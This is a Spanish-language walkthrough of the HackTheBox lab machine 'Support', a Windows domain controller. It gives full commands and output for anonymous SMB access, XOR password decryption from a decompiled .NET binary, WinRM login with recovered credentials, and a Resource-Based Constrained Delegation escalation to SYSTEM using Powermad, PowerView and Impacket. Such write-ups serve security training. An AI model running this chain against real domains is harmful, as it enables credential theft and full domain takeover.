WriteupFácilWindows1 de febrero de 202615 min de lectura

HackTheBox: Writeup de Support

Resolución de Support de HackTheBox: share SMB con null session que expone un binario .NET con credenciales LDAP cifradas por XOR, contraseña de usuario en texto plano en un campo de AD, acceso por WinRM y escalada a SYSTEM mediante Resource-Based Constrained Delegation (RBCD).


Support es una máquina Windows de dificultad fácil de HackTheBox. Es un Domain Controller de Active Directory. La cadena de explotación pasa por un share SMB accesible sin autenticación que contiene un binario .NET del que extraemos credenciales LDAP cifradas, enumeración del directorio activo donde encontramos la contraseña de un usuario en un campo de información, acceso por WinRM y escalada de privilegios mediante un ataque de Resource-Based Constrained Delegation (RBCD).


1. Reconocimiento inicial

Añadimos la máquina al /etc/hosts:

echo "10.10.11.174 support.htb dc.support.htb" >> /etc/hosts

Escaneamos con Nmap:

sudo nmap -p- -sS -sCV --min-rate 5000 -n -Pn support.htb -oN scan

El resultado muestra la típica huella de un Domain Controller de Active Directory:

PuertoServicio
53DNS
88Kerberos
135MSRPC
389LDAP
445SMB
5985WinRM
636LDAPS

2. Enumeración SMB

Probamos acceso anónimo a los shares:

smbclient -N -L \\\\support.htb
Sharename       Type
---------       ----
ADMIN$          Disk
C$              Disk
IPC$            IPC
NETLOGON        Disk
support-tools   Disk
SYSVOL          Disk

El share support-tools no es estándar. Lo montamos sin contraseña:

smbclient -N \\\\support.htb\\support-tools

Listamos el contenido:

  7-ZipPortable_21.07.paf.exe
  npp.8.4.1.portable.x64.zip
  putty.exe
  SysinternalsSuite.zip
  UserInfo.exe.zip
  windirstat1_1_2_setup.exe
  WiresharkPortable64_3.6.5.paf.exe

El archivo UserInfo.exe.zip es el único que no es una herramienta conocida. Lo descargamos:

smb: \> get UserInfo.exe.zip

3. Ingeniería inversa del binario .NET

Descomprimimos y abrimos UserInfo.exe con AvaloniaILSpy (o dnSpy en Windows):

unzip UserInfo.exe.zip
ilspy UserInfo.exe

Al descompilar la clase LdapQuery, encontramos el método getPassword():

private static string getPassword()
{
    byte[] array = Convert.FromBase64String("0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E");
    byte[] bytes = Encoding.Default.GetBytes("armando");
    for (int i = 0; i < array.Length; i++)
    {
        array[i] ^= bytes[i % bytes.Length];
    }
    return Encoding.Default.GetString(array);
}

El código desencripta la contraseña con XOR usando la clave armando. Lo replicamos en Python:

import base64

enc = base64.b64decode("0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E")
key = b"armando"
dec = bytes([enc[i] ^ key[i % len(key)] for i in range(len(enc))])
print(dec.decode())
nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz

Tenemos las credenciales del usuario ldap con esa contraseña.


4. Enumeración LDAP

Con las credenciales obtenidas, enumeramos el directorio activo:

ldapsearch -x -H ldap://support.htb \
  -D 'support\ldap' \
  -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' \
  -b "DC=support,DC=htb" | grep -A5 "dn: CN=support"

Entre los atributos del usuario support vemos el campo info:

info: Ironside47pleasure40Watchful

Alguien guardó la contraseña en texto plano en el campo info del usuario.


5. Acceso inicial por WinRM

Probamos las credenciales con evil-winrm:

evil-winrm -u support -p Ironside47pleasure40Watchful -i support.htb

Estamos dentro:

*Evil-WinRM* PS C:\Users\support\Documents>
type C:\Users\support\Desktop\user.txt

Flag de usuario obtenida.


6. Enumeración del AD con BloodHound

Subimos SharpHound para recopilar información del dominio:

upload SharpHound.exe
.\SharpHound.exe -c All
download 20260201_BloodHound.zip

Abrimos el archivo en BloodHound y buscamos el path hacia Domain Admin. Encontramos:

  • El usuario support pertenece al grupo Shared Support Accounts
  • Ese grupo tiene permisos GenericAll sobre el objeto del Domain Controller DC.SUPPORT.HTB

GenericAll sobre el DC nos permite configurar Resource-Based Constrained Delegation, lo que nos dejará impersonar a cualquier usuario, incluyendo Administrator.


7. Escalada de privilegios: ataque RBCD

Paso 1 — Crear una cuenta de máquina falsa con Powermad:

upload Powermad.ps1
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount FAKE01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force)

Paso 2 — Obtener el SID de la cuenta creada con PowerView:

upload PowerView.ps1
Import-Module .\PowerView.ps1
$sid = Get-DomainComputer FAKE01 -Properties objectsid | Select -Expand objectsid

Paso 3 — Configurar la delegación en el DC apuntando a nuestra cuenta falsa:

$SD = New-Object Security.AccessControl.RawSecurityDescriptor `
    -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$sid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer dc | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

Paso 4 — Desde nuestra máquina, generamos un ticket Kerberos impersonando a Administrator:

getST.py support.htb/FAKE01:123456 \
  -dc-ip 10.10.11.174 \
  -impersonate Administrator \
  -spn cifs/dc.support.htb
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Saving ticket in Administrator.ccache

Paso 5 — Usamos el ticket para obtener una shell como SYSTEM:

export KRB5CCNAME=Administrator.ccache
wmiexec.py -k -no-pass support.htb/Administrator@dc.support.htb
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
C:\>whoami
nt authority\system
type C:\Users\Administrator\Desktop\root.txt

Resumen de técnicas utilizadas

  • Enumeración de SMB con acceso anónimo (null session)
  • Ingeniería inversa de un binario .NET con AvaloniaILSpy
  • Descifrado de contraseña con XOR en Python
  • Enumeración de Active Directory via LDAP
  • Acceso por WinRM con evil-winrm
  • Enumeración del dominio con SharpHound y BloodHound
  • Escalada de privilegios con Resource-Based Constrained Delegation (RBCD) usando Powermad, PowerView e Impacket
Tiempo en página 0:00Lectura estimada: 15 min

Posts relacionados

WriteupFácilLinux

HackTheBox: Writeup de Cap

Resolución de la máquina Cap de HackTheBox: IDOR en un panel de capturas de red que expone credenciales FTP en texto plano y escalada de privilegios abusando de cap_setuid sobre el binario de Python.

28 de noviembre de 202510 min
WriteupFácilLinux

HackTheBox: Writeup de Chemistry

Resolución de Chemistry de HackTheBox: RCE mediante CVE-2024-23346 en pymatgen al procesar ficheros CIF maliciosos, cracking de hashes MD5 de SQLite para moverse lateralmente y escalada leyendo la clave SSH de root con path traversal en AioHTTP (CVE-2024-23334).

5 de diciembre de 202511 min
WriteupFácilLinux

HackTheBox: Writeup de TwoMillion

Resolución de TwoMillion de HackTheBox: desofuscación de JavaScript para generar un invite code, broken access control en la API para escalar a admin, command injection en la generación de VPN y escalada con CVE-2023-0386 (OverlayFS).

18 de diciembre de 202514 min